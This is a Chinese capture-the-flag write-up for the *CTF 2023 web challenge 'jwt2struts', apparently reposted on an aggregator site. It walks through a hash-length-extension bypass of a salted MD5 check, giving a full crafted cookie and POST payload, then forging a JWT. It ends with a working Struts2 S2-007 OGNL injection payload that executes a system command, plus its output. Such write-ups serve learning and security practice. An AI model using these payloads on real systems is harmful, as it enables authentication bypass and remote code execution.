当前位置: 首页 > news >正文

*CTF 2023 web jwt2struts 题解wp

jwt2struts

根据题目名字猜测,这题考察jwt和Struts2

image-20230729124829003

包里面果然有一个cookie

image-20230729125138166

验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU

image-20230729125223374

我们的目标应该是把user改成admin


首先,直接修改试试,结果是不行的。

再尝试一下爆破:

docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU

也是不行的,貌似没有非预期


返回包有个注释,是一个文件路由

image-20230729125450877

访问是PHP代码,绕过了就给key,有了key就能加解密JWT,然后伪造身份得到flag。

image-20230729125528005

首先就是要解出盐(salt)。。。。

仔细一看不用解盐,我们做到$username === "admin" && $password != "root"同时md5($salt.$username.$password)===$_COOKIE["digest"]就行了。

我们已知的有

盐的长度是14

md5($salt+“adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df


对于这种未知salt,要绕过MD5/sha1加密,目前有一个很好的办法,就是hash长度拓展攻击

(1条消息) 实验吧-让我进去【salt加密 哈希长度拓展攻击】_实验吧 admins only_Sp4rkW的博客-CSDN博客

这题有个工具叫HashPump。kali中安装方法如下(root终端依次输入)

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev 
cd HashPump
make
make install

应用场景:md5("密文"+"已知字符串")=现有哈希值

文件夹下开终端(cd进去也可以),输入hashpump

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串
Input Key Length                   #为密文(salt)长度
Input Data to Add                  #为补位后自己加的字符串(自定义)

image-20230729174000742

可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。

满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值

payload:(url加密就是把\x换成%)

Cookie:digest=8ae52974e81aace9837123a520cb8179
POST:username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00Jay

image-20230729174706600

做后尝试了一下,可以手撸出已知字符串的补位。

image-20230729171703947

所以JWT的密钥是sk-he00lctf3r,伪造JWT后进入新的界面。

image-20230729175155241

根据题目名字,猜测是Struts2。看特征+验证得到是S2-007

payload:(flag在环境变量里面)

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

输入到age框里面,然后环境变量从age框返回。

image-20230729180544681

返回结果(其中有flag):

HOSTNAME=8256ab68db2aLANGUAGE=en_US:enJAVA_HOME=/opt/java/openjdkGPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 5C3C5F3E314C866292F359A8F3AD5C94A67F707E 765908099ACF92702C7D949BFA0C35EA8AA299F1 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23PWD=/usr/local/tomcatTOMCAT_SHA512=9e6770e9c9c3b630011c0f0e320b31bb0ea3700d52247a12d544ea25f9ee4d93613ad6ccb7939f97fb05e1760978a7547eccb16352d73fa28886134ba58f3f8cTOMCAT_MAJOR=8HOME=/rootLANG=en_US.UTF-8TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-libFLAG=flag{7r0m_jwt_t0_struts2}CATALINA_HOME=/usr/local/tomcatSHLVL=0JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMEDLD_LIBRARY_PATH=/usr/local/tomcat/native-jni-libLC_ALL=en_US.UTF-8PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binTOMCAT_VERSION=8.5.91JAVA_VERSION=jdk8u372-b07
http://www.lryc.cn/news/102835.html

相关文章:

  • 使用java实时获取手环、手表的健康数据
  • Maven右侧依赖Dependencies消失
  • 100% RNN language model ChatRWKV 相关开源项目
  • ElasticSearch Window Linux部署
  • MyBatis-Plus 分页插件实现分页查询
  • Nacos源码 (1) 源码编译及idea环境
  • docker配置文件挂载(容器数据管理)
  • uniAPP 视频图片预览组件
  • 【论文阅读】The Deep Learning Compiler: A Comprehensive Survey
  • 怎么维护自己的电脑?
  • day52|● 300.最长递增子序列 ● 674. 最长连续递增序列 ● 718. 最长重复子数组
  • uniapp,vue3路由传递接收参数
  • SkyEye与Jenkins的DevOps持续集成解决方案
  • HCIE Security——防火墙互联技术
  • Rust- 闭包
  • 【数据挖掘torch】 基于LSTM电力系统负荷预测分析(Python代码实现)
  • 「JVM」性能调优工具
  • IDEA Debug小技巧 添加减少所查看变量、查看不同线程
  • 基于SpringBoot+Vue的车辆充电桩管理系统设计与实现(源码+LW+部署文档等)
  • Bean的加载方式
  • 《吐血整理》进阶系列教程-拿捏Fiddler抓包教程(13)-Fiddler请求和响应断点调试
  • Android 13(T) - Media框架(1)- 总览
  • 简述vue3(ts)+antdesignvue项目框架搭建基本步骤
  • webpack : 无法加载文件 C:\Program Files\nodejs\webpack.ps1
  • GDAL OGR C++ API 学习之路 (5)OGRLayer篇 代码示例
  • NIDEC COMPONENTS尼得科科宝滑动型DIP开关各系列介绍
  • 一起学算法(滑动窗口篇)
  • HTML <q> 标签
  • 机器学习02-再识K邻近算法(自定义数据集训练及测试)
  • github使用笔记及git协作常用命令